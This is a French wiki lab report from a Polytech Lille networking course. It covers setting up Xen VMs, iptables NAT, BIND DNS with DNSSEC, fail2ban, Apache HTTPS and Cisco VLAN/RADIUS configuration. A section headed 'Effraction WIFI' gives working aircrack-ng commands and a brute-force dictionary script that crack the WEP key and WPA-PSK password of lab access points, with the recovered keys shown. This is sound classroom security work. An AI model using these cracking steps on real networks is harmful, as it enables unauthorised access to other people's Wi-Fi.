mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes. Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Configuration SSH et Mascarade ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
La mascarade se configure avec '''iptables''', et consiste à donne une adresse IPv4 qui permet d'accéder à internet. &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans les '''trois VMs''' on modifie &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; en ajoutant :&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
On peut ensuite '''redémarrer''' le service ssh :&lt;br /&gt;
 /etc/init.d/ssh restart&lt;br /&gt;
La '''redirection du port ssh''' ce fait via les commandes suivantes sur la machine mandataire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans le fichier &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; la ligne suivante doit être '''décommentée''' :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour éviter de perdre la configuration à chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Désormais le ssh peut être fait via les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ssh en IPV4&lt;br /&gt;
ssh root@&amp;lt;add_ipv4&amp;gt; -p 2202&lt;br /&gt;
# ssh en IPV6&lt;br /&gt;
ssh root@&amp;lt;add_ipv6&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DNS ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;  afin de fait passer par notre DNS et d'avoir le second DNS en backup :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans &amp;lt;code&amp;gt;/etc/bind&amp;lt;/code&amp;gt; et y créer le fichier &amp;lt;code&amp;gt;db.deadpool.tech&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On peut pour finir '''vérifier''' le bon fonctionnement de notre DNS via le site [https://dnsviz.net/ dnsviz]. Avec notre nom de domaine nous obtenons le graphe suivant :&lt;br /&gt;
[[Fichier:Deadpool.tech-2026-02-18-08 31 41-UTC.png|centré|vignette]]&lt;br /&gt;
&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Vlan ==&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
